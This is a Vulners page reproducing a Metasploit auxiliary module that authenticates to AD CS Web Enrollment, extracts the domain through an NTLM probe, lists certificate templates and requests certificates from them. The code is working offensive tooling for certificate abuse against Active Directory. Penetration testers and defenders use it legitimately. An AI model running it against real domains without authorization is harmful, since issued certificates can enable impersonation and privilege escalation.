Lucene search
K

AD/CS Authenticated Web Enrollment Services Module

🗓️ 07 Apr 2026 19:01:08Reported by bwatters-r7, jhicks-r7, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 251 Views

Authenticates to the AD CS Web Enrollment service, queries templates, and creates certificates from templates.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::WebEnrollment
  include Msf::Auxiliary::Scanner

  def initialize(_info = {})
    super({
      'Name' => 'AD/CS Authenticated Web Enrollment Services Module',
      'Description' => %q{
        Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create
        certificates based on available templates.
      },
      'Author' => [
        'bwatters-r7',
        'jhicks-r7', # query for available certs
        'Spencer McIntyre'
      ],
      'License' => MSF_LICENSE
    })
    deregister_options('HttpUsername', 'HttpPassword')
    register_options([
      Opt::RPORT(80),
      OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),
      OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),
      OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]),
      OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
      OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
    ])
    register_advanced_options([
      OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
    ])
    @issued_certs = {}
  end

  def validate
    super

    case datastore['MODE']
    when 'SPECIFIC_TEMPLATE'
      if datastore['CERT_TEMPLATE'].blank?
        raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
      end
    when 'ALL', 'QUERY_ONLY'
      unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
        print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.')
      end
    end
    setup
  end

  def pull_domain(target_ip, target_uri)
    begin
      vprint_status("Checking #{target_ip} URL #{target_uri}")
      res = send_request_cgi({
        'rhost' => target_ip,
        'encode' => true,
        'username' => nil,
        'password' => nil,
        'uri' => normalize_uri(target_uri),
        'method' => 'GET',
        'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' }
      })
    rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
      vprint_error('Unable to Connect')
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      vprint_error('Timeout error')
      return
    end

    return nil if res.nil?

    unless res && res.code == 401
      print_bad("Incorrect status code returned checking for domain: #{res.code}")
      return nil
    end
    unless res['WWW-Authenticate']
      print_bad('Target does not appear to support Windows Authentication.')
      return nil
    end
    unless res['WWW-Authenticate'].match(/^NTLM/i)
      print_bad('Target does not appear to support NTLM.')
      return nil
    end

    hash = res['WWW-Authenticate'].split('NTLM ')[1]
    return nil if hash.nil?

    # Parse out the NTLM and get the Target Information Data containing the domain name

    begin
      message = Net::NTLM::Message.parse(Base64.decode64(hash))
      ti = Net::NTLM::TargetInfo.new(message.target_info)
      ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME]
    rescue StandardError => e
      vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}")
      nil
    end
  end

  def run_host(target_ip)
    validate

    queried_domain = pull_domain(target_ip, target_uri)
    if queried_domain.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry')
    end

    # The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit.
    # We need to normalize it so we can do the string compares later
    datastore_domain = datastore['DOMAIN']
    queried_domain.force_encoding('UTF-16LE')
    queried_domain = queried_domain.encode(datastore_domain.encoding)

    # kerberos requires DOMAIN be the FQDN but in other cases check if DOMAIN is set to something other than the NETBIOS
    # domain name that was returned from the NTLM handshake which would imply an operator error
    if datastore['HTTP::Auth'] != 'kerberos' && datastore['DOMAIN'].present? && datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain
      fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}")
    end
    connection_identity = queried_domain + '\\' + datastore['HttpUsername']

    http_client = connect(
      {
        'rhost' => target_ip,
        'method' => 'GET',
        'uri' => normalize_uri(target_uri),
        'headers' => {
          'Accept-Encoding' => 'identity'
        }
      }
    )
    case datastore['MODE']
    when 'ALL', 'QUERY_ONLY'
      cert_templates = get_cert_templates(http_client)
      unless cert_templates.nil? || cert_templates.empty?
        print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
        print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}")
        if datastore['MODE'] == 'ALL'
          retrieve_certs(http_client, connection_identity, cert_templates)
        end
      end
    when 'SPECIFIC_TEMPLATE'
      cert_template = datastore['CERT_TEMPLATE']
      retrieve_cert(http_client, connection_identity, cert_template)
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation